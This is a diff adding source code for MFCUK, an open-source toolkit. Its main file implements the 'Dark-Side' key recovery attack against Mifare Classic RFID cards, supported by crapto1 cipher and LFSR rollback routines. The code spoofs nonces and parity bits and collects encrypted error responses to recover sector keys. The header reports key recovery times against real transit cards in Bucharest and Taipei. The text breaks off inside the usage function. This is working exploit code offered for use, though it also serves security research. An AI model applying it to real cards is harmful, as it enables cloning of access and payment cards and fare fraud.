uint8_t ks[8], uint8_t par[8][8]); + +uint8_t lfsr_rollback_bit(struct Crypto1State* s, uint32_t in, int fb); +uint8_t lfsr_rollback_byte(struct Crypto1State* s, uint32_t in, int fb); +uint32_t lfsr_rollback_word(struct Crypto1State* s, uint32_t in, int fb); +int nonce_distance(uint32_t from, uint32_t to); +#define FOREACH_VALID_NONCE(N, FILTER, FSIZE)\ + uint32_t __n = 0,__M = 0, N = 0;\ + int __i;\ + for(; __n < 1 << 16; N = prng_successor(__M = ++__n, 16))\ + for(__i = FSIZE - 1; __i >= 0; __i--)\ + if(BIT(FILTER, __i) ^ parity(__M & 0xFF01))\ + break;\ + else if(__i)\ + __M = prng_successor(__M, (__i == 7) ? 48 : 8);\ + else + +#define LF_POLY_ODD (0x29CE5C) +#define LF_POLY_EVEN (0x870804) +#define BIT(x, n) ((x) >> (n) & 1) +#define BEBIT(x, n) BIT(x, (n) ^ 24) +static /*inline*/ int parity(uint32_t x) +{ +#if !defined __i386__ || !defined __GNUC__ + x ^= x >> 16; + x ^= x >> 8; + x ^= x >> 4; + return BIT(0x6996, x & 0xf); +#else + asm( "movl %1, %%eax\n" + "mov %%ax, %%cx\n" + "shrl $0x10, %%eax\n" + "xor %%ax, %%cx\n" + "xor %%ch, %%cl\n" + "setpo %%al\n" + "movzx %%al, %0\n": "=r"(x) : "r"(x): "eax","ecx"); + return x; +#endif +} +static /*inline*/ int filter(uint32_t const x) +{ + uint32_t f; + + f = 0xf22c0 >> (x & 0xf) & 16; + f |= 0x6c9c0 >> (x >> 4 & 0xf) & 8; + f |= 0x3c8b0 >> (x >> 8 & 0xf) & 4; + f |= 0x1e458 >> (x >> 12 & 0xf) & 2; + f |= 0x0d938 >> (x >> 16 & 0xf) & 1; + return BIT(0xEC57E80A, f); +} +#ifdef __cplusplus +} +#endif +#endif diff --git a/src/crypto1.c b/src/crypto1.c new file mode 100644 index 0000000..e2aab71 --- /dev/null +++ b/src/crypto1.c @@ -0,0 +1,93 @@ +/* crypto1.c + + This program is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + MA 02110-1301, US + + Copyright (C) 2008-2008 bla +*/ +#include "crapto1.h" +#include + +#define SWAPENDIAN(x)\ + (x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16) + +struct Crypto1State * crypto1_create(uint64_t key) +{ + struct Crypto1State *s = malloc(sizeof(*s)); + int i; + + for(i = 47;s && i > 0; i -= 2) { + s->odd = s->odd << 1 | BIT(key, (i - 1) ^ 7); + s->even = s->even << 1 | BIT(key, i ^ 7); + } + return s; +} +void crypto1_destroy(struct Crypto1State *state) +{ + free(state); +} +void crypto1_get_lfsr(struct Crypto1State *state, uint64_t *lfsr) +{ + int i; + for(*lfsr = 0, i = 23; i >= 0; --i) { + *lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3); + *lfsr = *lfsr << 1 | BIT(state->even, i ^ 3); + } +} +uint8_t crypto1_bit(struct Crypto1State *s, uint8_t in, int is_encrypted) +{ + uint32_t feedin; + uint8_t ret = filter(s->odd); + + feedin = ret & !!is_encrypted; + feedin ^= !!in; + feedin ^= LF_POLY_ODD & s->odd; + feedin ^= LF_POLY_EVEN & s->even; + s->even = s->even << 1 | parity(feedin); + + s->odd ^= (s->odd ^= s->even, s->even ^= s->odd); + + return ret; +} +uint8_t crypto1_byte(struct Crypto1State *s, uint8_t in, int is_encrypted) +{ + uint8_t i, ret = 0; + + for (i = 0; i < 8; ++i) + ret |= crypto1_bit(s, BIT(in, i), is_encrypted) << i; + + return ret; +} +uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted) +{ + uint32_t i, ret = 0; + + for (i = 0; i < 32; ++i) + ret |= crypto1_bit(s, BEBIT(in, i), is_encrypted) << (i ^ 24); + + return ret; +} + +/* prng_successor + * helper used to obscure the keystream during authentication + */ +uint32_t prng_successor(uint32_t x, uint32_t n) +{ + SWAPENDIAN(x); + while(n--) + x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31; + + return SWAPENDIAN(x); +} diff --git a/src/mfcuk_keyrecovery_darkside.c b/src/mfcuk_keyrecovery_darkside.c new file mode 100644 index 0000000..b30fa9a --- /dev/null +++ b/src/mfcuk_keyrecovery_darkside.c @@ -0,0 +1,1641 @@ +/* + Package: + MiFare Classic Universal toolKit (MFCUK) + + Package version: + 0.1 + + Filename: + mfcuk_keyrecovery_darkside.c + + Name: + Mifare Classic "Dark-Side" Attack to reover at least 1 key for card where NO keys + are known. Uses as a corner-stone the lfsr_common_prefix() from crapto1 3.1 + + After this, the MFOC from Nethemba team is used to recover rest of the + keys using "Nested-Authentication" Attack + + Description: + Implementing Mifare Classic "Dark Side" Key Recovery attack from this paper: + "THE DARK SIDE OF SECURITY BY OBSCURITY" + http://eprint.iacr.org/2009/137.pdf + + For tag fixation it uses the DROP FIELD and CONSTANT DELAY after drop and + before authentication technique. Most of the times it gives pretty good results. + + To improve the overall results, the Nt tag nonces are stored and looked-up in + a sorted array of Nt entries. We can see it as a hash map/lookup table with + resumable states for given tag nonces. + cons - extends the timeslot of attack + pros - makes attack more stable since tag nonce fixation is not as accurate + on ACR122 as on Proxmark3 or other specialized devices + + License: + GPL2 (see below), Copyright (C) 2009, Andrei Costin + + OS/Envs supported: + Linux + Windows + MacOS + Cygwin + + Hardware tested/supported: + ACR 122U (usb) + + Compiling: + Linux/MacOS/Cygwin + gcc -o zv_mf_dark_side zv_mf_dark_side.c ./crapto1-v3.1/crapto1.c + ./crapto1-v3.1/crypto1.c ./libnfc-v1.2.1/bin/libnfc.lib -lnfc + -I./libnfc-v1.2.1/include -L./libnfc-v1.2.1/lib + MSVS + just copy an existing project (nfc-anticol for example) from libnfc-1.2.1-vs2005, + add the crapto1 .c files to the project and zv_mf_dark_side.c + + Usage: + ./mfcuk_keyrecovery_darkside -h + c:\mfcuk_keyrecovery_darkside.exe -h + + Results: + about 2 minutes to recover first key for RATB Bucharest cards (10ms & 50ms sleeps) + about 3 minutes to recover first key for EasyCard Taipei (10ms & 50ms sleeps) + + Known Issues: + 1. The tag fixation with ACR122 is not performing well if CPU is under high load (eg. Flash Movie playing in IE, etc.) + 2. Either a bug in libnfc 1.2.1 or a bug in RATB card-types 0x88 consecutive authentication goes like - one fails, one ok, even though correct keys are used + 2.a Maybe need to check AC bits? + 2.b Maybe AC bits/0x88 cards need a read/write or failed operation in between for the "state" to be ok and next auth to be successful? + + Contact, bug-reports: + http://andreicostin.com/ + mailto:zveriu@gmail.com + + Requirements: + crapto1 library 3.1 (http://code.google.com/p/crapto1) + libnfc 1.2.1 (http://www.libnfc.org) + + * @file mfcuk_keyrecovery_darkside.c + * @brief +*/ + +/* + VERSION HISTORY +-------------------------------------------------------------------------------- +| Number : 0.1 +| dd/mm/yyyy : 14/11/2009 +| Author : zveriu@gmail.com, http://andreicostin.com +| Description: Initial version as POC, Windows MS Visual Studio version only +-------------------------------------------------------------------------------- +| Number : 0.2 +| dd/mm/yyyy : 14/11/2009 +| Author : zveriu@gmail.com, http://andreicostin.com +| Description: Fixed some info; removed uneeded code, variables, commented lines; +| proper identation; introduced some portability fixes; +-------------------------------------------------------------------------------- +| Number : 0.3 +| dd/mm/yyyy : 14/11/2009 +| Author : zveriu@gmail.com, http://andreicostin.com +| Description: Restructured the functionality into reusable modules, preparing +| for MFCUK package and integration with MFOC; autogen and automake packaging; +-------------------------------------------------------------------------------- +*/ + +/* + LICENSE + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#include +#include +#include + +#ifdef WIN32 + #define NOMINMAX + #include "windows.h" + #include "xgetopt.h" +#elif __STDC__ + #include + #include + #include +#endif + +#include +#include "crapto1.h" + // FIXME: For some reason (reason=I am dumb perhaps), these two prototypes are not visible form crapto1.h, so I put them here + struct Crypto1State* lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8]); + uint32_t lfsr_rollback_word(struct Crypto1State* s, uint32_t in, int fb); + // :FIXME +#include +#include "mfcuk_mifare.h" +#include "mfcuk_utils.h" +#include "mfcuk_keyrecovery_darkside.h" + +#define MAX_FRAME_LEN 264 + +// TODO: rename the array and number of items in array variable names +tag_nonce_entry_t arrSpoofEntries[MAX_TAG_NONCES]; // "Cache" array of already received tag nonces, since we cannot 100% fix one tag nonce as of now +uint32_t numSpoofEntries = 0; // Actual number of entries in the arrSpoofEntries +uint32_t numAuthAttempts = 0; // Number of authentication attempts for Recovery of keys - used to statistics. TODO: implement proper statistics with timings, number of tries, etc. +bool bfOpts[256] = {false}; // Command line options, indicates their presence, initialize with false +byte_t verboseLevel = 0; // No verbose level by default + +int compareTagNonces (const void * a, const void * b) +{ + // TODO: test the improvement (especially corner cases, over/under-flows) "return ( (*(uint32_t*)a) - (*(uint32_t*)b) ); + if ( *(uint32_t*)a > *(uint32_t*)b ) return 1; + if ( *(uint32_t*)a == *(uint32_t*)b ) return 0; + if ( *(uint32_t*)a < *(uint32_t*)b ) return -1; + + return 0; // Never reach here, but keep compilers happy +} + +// TODO: combine mfcuk_verify_key_block() with mfcuk_recover_key_block(), since a lot of code is duplicate +uint32_t mfcuk_verify_key_block(nfc_device_t* pnd, uint32_t uiUID, uint64_t ui64Key, mifare_key_type bKeyType, byte_t bTagType, uint32_t uiBlock) +{ + uint32_t pos; + + // Keystream related variables - for verification with Crapto1/Crypto1 rollback + uint32_t nr_encrypted = 0; + uint32_t reader_response = 0; + uint32_t tag_response = 0; + uint32_t ks2 = 0; + uint32_t ks3 = 0; + struct Crypto1State *pcs; + uint64_t lfsr; + unsigned char* plfsr = (unsigned char*)&lfsr; + + // Communication related variables + byte_t abtAuth[4] = { 0x00,0x00,0x00,0x00 }; + byte_t abtArEnc[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; + byte_t abtArEncPar[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; + byte_t abtRx[MAX_FRAME_LEN]; + byte_t abtRxPar[MAX_FRAME_LEN]; + uint32_t uiRxLen; + uint32_t nt, nt_orig; // Supplied tag nonce + + if ( (bKeyType != keyA) && (bKeyType != keyB) ) + { + return MFCUK_FAIL_KEYTYPE_INVALID; + } + + if ( !IS_MIFARE_CLASSIC_1K(bTagType) && !IS_MIFARE_CLASSIC_4K(bTagType) ) + { + return MFCUK_FAIL_TAGTYPE_INVALID; + } + + if ( !is_valid_block(bTagType, uiBlock) ) + { + return MFCUK_FAIL_BLOCK_INVALID; + } + + // Configure the authentication frame using the supplied block + abtAuth[0] = bKeyType; + abtAuth[1] = uiBlock; + append_iso14443a_crc(abtAuth,2); + + // Now we take over, first we need full control over the CRC + if ( !nfc_configure(pnd,NDO_HANDLE_CRC,false) ) + { + return MFCUK_FAIL_COMM; + } + + // Request plain tag-nonce + if (!nfc_initiator_transceive_bytes(pnd,abtAuth,4,abtRx,&uiRxLen)) + { + return MFCUK_FAIL_COMM; + } + + // Save the tag nonce (nt) + nt = swap_endian32(abtRx); + nt_orig = nt; + + // Init cipher with key + pcs = crypto1_create(ui64Key); + + // Load (plain) uid^nt into the cipher + for (pos=0; pos<4; pos++) + { + // Update the cipher with the tag-initialization + crypto1_byte(pcs, ((uiUID >> (8*(3-pos))) & 0xFF ) ^ abtRx[pos], 0); + } + + // Generate (encrypted) nr+parity by loading it into the cipher (Nr) + for (pos=0; pos<4; pos++) + { + // Load in, and encrypt, the reader nonce (plain nr=0x00000000) + abtArEnc[pos] = crypto1_byte(pcs,0x00,0) ^ 0x00; + + // Encrypt the parity bits for the 4 plaintext bytes of nr + abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(0x00); + + // Get the keystream encrypted Nr value currently loaded into the cypher, i.e. {Nr} + nr_encrypted = nr_encrypted << 8; + nr_encrypted = nr_encrypted | abtArEnc[pos]; + } + + // Skip 32 bits in pseudo random generator + nt = prng_successor(nt,32); + + // Generate reader-answer from tag-nonce (Ar) + for (pos=4; pos<8; pos++) + { + // Get the next random byte for verify the reader to the tag + nt = prng_successor(nt,8); + + // Encrypt the reader-answer (nt' = suc2(nt)) + abtArEnc[pos] = crypto1_byte(pcs,0x00,0) ^ (nt&0xff); + + // Encrypt the parity bits for the 4 plaintext bytes of nt' + abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(nt&0xff); + + // Get the keystream encrypted reader response currently loaded into the cypher, i.e. {Ar} + reader_response = reader_response << 8; + reader_response = reader_response | abtArEnc[pos]; + } + + // Finally we want to send arbitrary parity bits + if ( !nfc_configure(pnd,NDO_HANDLE_PARITY,false) ) + { + return MFCUK_FAIL_COMM; + } + + if ( !nfc_initiator_transceive_bits(pnd,abtArEnc,64,abtArEncPar,abtRx,&uiRxLen,abtRxPar) ) + { + return MFCUK_FAIL_AUTH; + } + + crypto1_destroy(pcs); + + if (uiRxLen == 32) + { + for (pos=0; pos<4; pos++) + { + tag_response = tag_response << 8; + tag_response = tag_response | abtRx[pos]; + } + + ks2 = reader_response ^ prng_successor(nt_orig, 64); + ks3 = tag_response ^ prng_successor(nt_orig, 96); + pcs = lfsr_recovery64(ks2, ks3); + + lfsr_rollback_word(pcs, 0, 0); + lfsr_rollback_word(pcs, 0, 0); + lfsr_rollback_word(pcs, nr_encrypted, 1); + lfsr_rollback_word(pcs, uiUID ^ nt_orig, 0); + crypto1_get_lfsr(pcs, &lfsr); + + crypto1_destroy(pcs); + + if (lfsr != ui64Key) + { + return MFCUK_FAIL_CRAPTO; + } + } + else + { + return MFCUK_FAIL_AUTH; + } + + return MFCUK_SUCCESS; +} + +uint32_t mfcuk_key_recovery_block(nfc_device_t* pnd, uint32_t uiUID, uint64_t ui64Key, mifare_key_type bKeyType, byte_t bTagType, uint32_t uiBlock, uint64_t *ui64KeyRecovered) +{ + // Communication variables + uint32_t pos, pos2, nt; + struct Crypto1State* pcs; + byte_t abtAuth[4] = { 0x60,0x00,0x00,0x00 }; + byte_t abtArEnc[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; + byte_t abtArEncPar[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; + byte_t abtRx[MAX_FRAME_LEN]; + byte_t abtRxPar[MAX_FRAME_LEN]; + uint32_t uiRxLen; + + // zveriu + static uint32_t nt_orig = 0; + char sendSpoofAr = 0; // We want to spoof the Ar response with all 0s and the use random parity bits for that Nt until we have a successful 4 bits response (0x5) + tag_nonce_entry_t *ptrFoundTagNonceEntry = NULL; + + // Key-recovery variables + struct Crypto1State *states_list; + struct Crypto1State *current_state; + uint32_t i; + uint64_t key_recovered; + byte_t flag_key_recovered = 0; // FIXME: fix the {Nr} iteration properly. This a quick fix for cases when 0xDEADBEEF {Nr} is not working + + if ( (bKeyType != keyA) && (bKeyType != keyB) ) + { + return MFCUK_FAIL_KEYTYPE_INVALID; + } + + if ( !IS_MIFARE_CLASSIC_1K(bTagType) && !IS_MIFARE_CLASSIC_4K(bTagType) ) + { + return MFCUK_FAIL_TAGTYPE_INVALID; + } + + if ( !is_valid_block(bTagType, uiBlock) ) + { + return MFCUK_FAIL_BLOCK_INVALID; + } + + // Configure the authentication frame using the supplied block + abtAuth[0] = bKeyType; + abtAuth[1] = uiBlock; + append_iso14443a_crc(abtAuth,2); + + // Now we take over, first we need full control over the CRC + nfc_configure(pnd,NDO_HANDLE_CRC,false); + + // Request plain tag-nonce + //printf("Nt: "); + if (!nfc_initiator_transceive_bytes(pnd,abtAuth,4,abtRx,&uiRxLen)) + { + //printf("\n\nFAILURE - Failed to get TAG NONCE!!!\n\n"); + return MFCUK_FAIL_COMM; + } + //print_hex(abtRx,4); + + // Save the tag nonce (nt) + nt = swap_endian32(abtRx); + + // zveriu + //printf("INFO - Nonce distance %d (from 0x%08x, to 0x%08x)\n", nonce_distance(nt, nt_orig), nt, nt_orig); + nt_orig = nt; + + // Max log(2, MAX_TAG_NONCES) searches, i.e. log(2, 65536) = 16 + ptrFoundTagNonceEntry = (tag_nonce_entry_t *) bsearch((void *)(&nt_orig), arrSpoofEntries, numSpoofEntries, sizeof(arrSpoofEntries[0]), compareTagNonces); + + // A new tag nonce detected, initialize it properly and store in the tag nonce "cache" array for use in it's next appearances + if (!ptrFoundTagNonceEntry) + { + if (numSpoofEntries >= MAX_TAG_NONCES) + { + //printf("\n\nFAILURE - REACHED MAX_TAG_NONCES!!! (Are we so unlucky or the USB/reader is buggy?!)\n\n"); + return MFCUK_FAIL_MEMORY; + } + + arrSpoofEntries[numSpoofEntries].tagNonce = nt_orig; + arrSpoofEntries[numSpoofEntries].num_of_appearances = 1; + numSpoofEntries++; + + // Max log(2, MAX_TAG_NONCES) searches, i.e. log(2, 65536) = 16 + qsort(arrSpoofEntries, numSpoofEntries, sizeof(arrSpoofEntries[0]), compareTagNonces); + + ptrFoundTagNonceEntry = (tag_nonce_entry_t *) bsearch((void *)(&nt_orig), arrSpoofEntries, numSpoofEntries, sizeof(arrSpoofEntries[0]), compareTagNonces); + + // Put the initializations done in abtRxLen == 32 section here also because maybe we don't know the key actually + ptrFoundTagNonceEntry->spoofFlag = 1; + + // Hardcoding {Nr} and {Ar} and try to guess parity bits + ptrFoundTagNonceEntry->spoofNrEnc = MFCUK_DARKSIDE_START_NR; + ptrFoundTagNonceEntry->spoofArEnc = MFCUK_DARKSIDE_START_AR; + ptrFoundTagNonceEntry->spoofParBitsEnc = 0x0; + + // First we need to satisfy STAGE1 + ptrFoundTagNonceEntry->current_out_of_8 = -1; + } + else + { + ptrFoundTagNonceEntry->num_of_appearances++; + + + if ( // If we went beyond MFCUK_DARKSIDE_MAX_LEVELS without findind a key, need to check next {Nr} + (ptrFoundTagNonceEntry->current_out_of_8 >= MFCUK_DARKSIDE_MAX_LEVELS) || + // Can have only 32 combinations of the last 5 bits of parity bits which generated the first NACK + ( (ptrFoundTagNonceEntry->current_out_of_8 >= 0) && (ptrFoundTagNonceEntry->parBitsCrntCombination[ptrFoundTagNonceEntry->current_out_of_8] >= 0x20) ) + ) + { + // If no key discovered for current {Nr}, {Ar}, 29bit-prefix, go back to satisfy STAGE1 with other {Nr} value, {Ar} we keep the same + ptrFoundTagNonceEntry->spoofNrEnc++; + ptrFoundTagNonceEntry->spoofArEnc = MFCUK_DARKSIDE_START_AR; + ptrFoundTagNonceEntry->spoofParBitsEnc = 0x0; + ptrFoundTagNonceEntry->current_out_of_8 = -1; + + return MFCUK_FAIL_AUTH; + } + + /* + // TODO: if above block is working fine, delete this commented - above one created to reduce code-duplication + // If we went beyond MFCUK_DARKSIDE_MAX_LEVELS without findind a key, need to check next {Nr} + if (ptrFoundTagNonceEntry->current_out_of_8 >= MFCUK_DARKSIDE_MAX_LEVELS) + { + //printf("FAILURE - This Nt, {Pfx}, consecutive {Nr}s and {ParBits} combination cannot produce a key-recoverable state\n"); + //printf("\tINFO: try changing initial {Nr}, {Ar} and timings of sleep()\n"); + + //printf("{Nr} is not a DEADBEEF.... Need to find BEEF ALIVE!... Trying next one...\n"); + ptrFoundTagNonceEntry->spoofNrEnc++; + ptrFoundTagNonceEntry->spoofArEnc = 0xFACECAFE; + ptrFoundTagNonceEntry->spoofParBitsEnc = 0x0; + + // If no key discovered for current {Nr}, {Ar}, 29bit-prefix, go back to satisfy STAGE1 with other {Nr} value, {Ar} we keep the same + ptrFoundTagNonceEntry->current_out_of_8 = -1; + + return MFCUK_FAIL_AUTH; + } + + if (ptrFoundTagNonceEntry->current_out_of_8 >= 0) + { + // Can have only 32 combinations of the last 5 bits of parity bits which generated the first NACK + if (ptrFoundTagNonceEntry->parBitsCrntCombination[ptrFoundTagNonceEntry->current_out_of_8] >= 0x20) + { + //printf("FAILURE - This consecutive {Nr}s and {ParBits} combination cannot produce all 8 required NACKs and KSs of NACKs\n"); + //printf("\tINFO: try changing initial {Nr}, {Ar} and timings of sleep()\n"); + + //printf("{Nr} is not a DEADBEEF.... Need to find BEEF ALIVE!... Trying next one...\n"); + ptrFoundTagNonceEntry->spoofNrEnc++; + ptrFoundTagNonceEntry->spoofArEnc = 0xFACECAFE; + ptrFoundTagNonceEntry->spoofParBitsEnc = 0x0; + + // If no key discovered for current {Nr}, {Ar}, 29bit-prefix, go back to satisfy STAGE1 with other {Nr} value, {Ar} we keep the same + ptrFoundTagNonceEntry->current_out_of_8 = -1; + + return MFCUK_FAIL_AUTH; + } + } + */ + } + + sendSpoofAr = ptrFoundTagNonceEntry->spoofFlag; + + // Init cipher with key + pcs = crypto1_create(ui64Key); + + // Load (plain) uid^nt into the cipher + for (pos=0; pos<4; pos++) + { + // Update the cipher with the tag-initialization + // TODO: remove later - crypto1_byte(pcs, pbtUid[pos]^abtRx[pos], 0); + crypto1_byte(pcs, ((uiUID >> (8*(3-pos))) & 0xFF ) ^ abtRx[pos], 0); + } + + // Generate (encrypted) nr+parity by loading it into the cipher (Nr) + for (pos=0; pos<4; pos++) + { + // Load in, and encrypt, the reader nonce (plain nr=0x00000000) + abtArEnc[pos] = crypto1_byte(pcs,0x00,0) ^ 0x00; + + // Encrypt the parity bits for the 4 plaintext bytes of nr + abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(0x00); + + if (sendSpoofAr) + { + if (ptrFoundTagNonceEntry->current_out_of_8 < 0) + { + abtArEnc[pos] = (ptrFoundTagNonceEntry->spoofNrEnc >> (8*(3-pos))) & 0xFF; + abtArEncPar[pos] = (ptrFoundTagNonceEntry->spoofParBitsEnc >> (7-pos)) & 0x01; + } + else + { + abtArEnc[pos] = (ptrFoundTagNonceEntry->nrEnc[ptrFoundTagNonceEntry->current_out_of_8] >> (8*(3-pos))) & 0xFF; + abtArEncPar[pos] = ((ptrFoundTagNonceEntry->parBits[ptrFoundTagNonceEntry->current_out_of_8] + ptrFoundTagNonceEntry->parBitsCrntCombination[ptrFoundTagNonceEntry->current_out_of_8]) >> (7-pos)) & 0x01; + } + } + } + + // Skip 32 bits in pseudo random generator + nt = prng_successor(nt,32); + + // Generate reader-answer from tag-nonce (Ar) + for (pos=4; pos<8; pos++) + { + // Get the next random byte for verify the reader to the tag + nt = prng_successor(nt,8); + + // Encrypt the reader-answer (nt' = suc2(nt)) + abtArEnc[pos] = crypto1_byte(pcs,0x00,0) ^ (nt&0xff); + // Encrypt the parity bits for the 4 plaintext bytes of nt' + abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(nt&0xff); + + // zveriu - Make the Ar incorrect, but leave parity bits calculated/guessed_spoofed as above + /* If all eight parity bits are correct, but the answer Ar is + wrong, the tag responds with the 4-bit error code 0x5 + signifying failed authentication, called ‘transmission error’ in [KHG08]. + */ + if (sendSpoofAr) + { + if (ptrFoundTagNonceEntry->current_out_of_8 < 0) + { + abtArEnc[pos] = (ptrFoundTagNonceEntry->spoofArEnc >> (8*(7-pos))) & 0xFF; + abtArEncPar[pos] = (ptrFoundTagNonceEntry->spoofParBitsEnc >> (7-pos)) & 0x01; + } + else + { + abtArEnc[pos] = (ptrFoundTagNonceEntry->arEnc[ptrFoundTagNonceEntry->current_out_of_8] >> (8*(7-pos))) & 0xFF; + abtArEncPar[pos] = ((ptrFoundTagNonceEntry->parBits[ptrFoundTagNonceEntry->current_out_of_8] + ptrFoundTagNonceEntry->parBitsCrntCombination[ptrFoundTagNonceEntry->current_out_of_8]) >> (7-pos)) & 0x01; + } + } + } + + if (ptrFoundTagNonceEntry->current_out_of_8 >= 0) + { + // Prepare for the next round (if this one is not successful) the next 5 bit combination for current parity bits + ptrFoundTagNonceEntry->parBitsCrntCombination[ptrFoundTagNonceEntry->current_out_of_8]++; + } + + // Finally we want to send arbitrary parity bits + nfc_configure(pnd,NDO_HANDLE_PARITY,false); + + // Transmit reader-answer + //printf(" Ar: "); + //print_hex_par(abtArEnc,64,abtArEncPar); + + if (!nfc_initiator_transceive_bits(pnd,abtArEnc,64,abtArEncPar,abtRx,&uiRxLen,abtRxPar)) + { + if (sendSpoofAr) + { + ptrFoundTagNonceEntry->spoofParBitsEnc++; + } + + return MFCUK_FAIL_AUTH; + } + + // zveriu - Successful: either authentication (uiRxLen == 32) either encrypted 0x5 reponse (uiRxLen == 4) + if (uiRxLen == 4) + { + //printf("INFO - 4-bit (uiRxLen=%d) error code 0x5 encrypted (abtRx=0x%02x)\n", uiRxLen, abtRx[0] & 0xf); + + if (ptrFoundTagNonceEntry->current_out_of_8 < 0) + { + ptrFoundTagNonceEntry->spoofNackEnc = abtRx[0] & 0xf; + ptrFoundTagNonceEntry->spoofKs = ptrFoundTagNonceEntry->spoofNackEnc ^ 0x5; + ptrFoundTagNonceEntry->spoofNrPfx = ptrFoundTagNonceEntry->spoofNrEnc & 0xFFFFFF1F; + + // Initialize the {Nr} with proper 29 bits prefix and {Par} with proper 3 bits prefix + for (pos=0; pos<8; pos++) + { + ptrFoundTagNonceEntry->nrEnc[pos] = ptrFoundTagNonceEntry->spoofNrPfx | pos << 5; + ptrFoundTagNonceEntry->arEnc[pos] = ptrFoundTagNonceEntry->spoofArEnc; + ptrFoundTagNonceEntry->parBits[pos] = ptrFoundTagNonceEntry->spoofParBitsEnc & 0xE0; + ptrFoundTagNonceEntry->parBitsCrntCombination[pos] = 0; + } + + // Mark the begining of collecting STAGE2 probes + ptrFoundTagNonceEntry->current_out_of_8 = 0; + } + else + { + ptrFoundTagNonceEntry->nackEnc[ptrFoundTagNonceEntry->current_out_of_8] = abtRx[0] & 0xf; + ptrFoundTagNonceEntry->ks[ptrFoundTagNonceEntry->current_out_of_8] = ptrFoundTagNonceEntry->nackEnc[ptrFoundTagNonceEntry->current_out_of_8] ^ 0x5; + ptrFoundTagNonceEntry->current_out_of_8++; + + if (ptrFoundTagNonceEntry->current_out_of_8 == 8) + { + for (pos=0; pos<8; pos++) + { + for (pos2=0; pos2<8; pos2++) + { + ptrFoundTagNonceEntry->parBitsArr[pos][pos2] = ( (ptrFoundTagNonceEntry->parBits[pos] + ptrFoundTagNonceEntry->parBitsCrntCombination[pos] - 1) >> (7-pos2)) & 0x01; + } + } + + states_list = lfsr_common_prefix(ptrFoundTagNonceEntry->spoofNrPfx, ptrFoundTagNonceEntry->spoofArEnc, ptrFoundTagNonceEntry->ks, ptrFoundTagNonceEntry->parBitsArr); + + for (i=0; (states_list) && ((states_list+i)->odd != 0 || (states_list+i)->even != 0) && (itagNonce, 0); + crypto1_get_lfsr(current_state, &key_recovered); + + if ( bfOpts['v'] && (verboseLevel > 1) ) + { + printf("\nINFO: block %d recovered KEY: %012llx\n", uiBlock, key_recovered); + } + + flag_key_recovered = 1; + + *ui64KeyRecovered = key_recovered; + } + + crypto1_destroy(states_list); + + if (!flag_key_recovered) + { + //printf("{Nr} is not a DEADBEEF.... Need to find BEEF ALIVE!... Trying next one...\n"); + ptrFoundTagNonceEntry->spoofNrEnc++; + ptrFoundTagNonceEntry->spoofArEnc = MFCUK_DARKSIDE_START_AR; + ptrFoundTagNonceEntry->spoofParBitsEnc = 0x0; + + // If no key discovered for current {Nr}, {Ar}, 29bit-prefix, go back to satisfy STAGE1 with other {Nr} value, {Ar} we keep the same + ptrFoundTagNonceEntry->current_out_of_8 = -1; + + return MFCUK_FAIL_CRAPTO; + } + } + } + } + else if (uiRxLen == 32) + { + // Are we so MFCUKing lucky (?!), since ui64Key is a "dummy" key + flag_key_recovered = true; + *ui64KeyRecovered = ui64Key; + } + + //printf(" At: "); + //print_hex_par(abtRx,uiRxLen,abtRxPar); + + crypto1_destroy(pcs); + + if (flag_key_recovered) + { + return MFCUK_OK_KEY_RECOVERED; + } + else + { + return MFCUK_SUCCESS; + } +} + +/* +TODO: +- have an option with frequency of the display information, and with portable way of getting elapsed time +-m max_iterations - stop everything after so many iterations, default is infinite until all keys found +-T max_elapsed_time - stop after time elapsed +*/ +void print_usage(FILE *fp) +{ + fprintf(fp, "\n"); + fprintf(fp, "Usage:\n"); + fprintf(fp, "-i mifare.dmp - load input mifare_tag type dump\n"); + fprintf(fp, "-I mifare_ext.dmp - load input extended dump specific to this tool, has several more fields on top of mifare_tag type dump\n"); + fprintf(fp, "-o mifare.dmp - output the resulting mifare_tag dump to a given file\n"); + fprintf(fp, "-O mifare_ext.dmp - output the resulting extended dump to a given file\n"); + fprintf(fp, "-V sector[:A/B/any_other_alphanum[:fullkey]] - verify key for specified sector, -1 means all sectors\n"); + fprintf(fp, "\tAfter first semicolon key-type can specified: A verifies only keyA, B verifies only keyB, anything else verifies both keys\n"); + fprintf(fp, "\tAfter second semicolon full 12 hex-digits key can specified - this key will override any loaded dump key for the given sector(s) and key-type(s)\n"); + fprintf(fp, "-R sector[:A/B/any_other_alphanum] - recover key for sector, -1 means all sectors.\n"); + fprintf(fp, "\tAfter first semicolon key-type can specified: A recovers only keyA, B recovers only keyB, anything else recovers both keys\n"); + fprintf(fp, "-U UID - force specific UID. If a dump was loaded with -i, -U will overwrite the in the memory where dump was loaded\n"); + fprintf(fp, "-M tagtype - force specific tagtype. 8 is 1K, 24 is 4K, 32 is DESFire\n"); + fprintf(fp, "-D - for sectors and key-types markes for verification, use 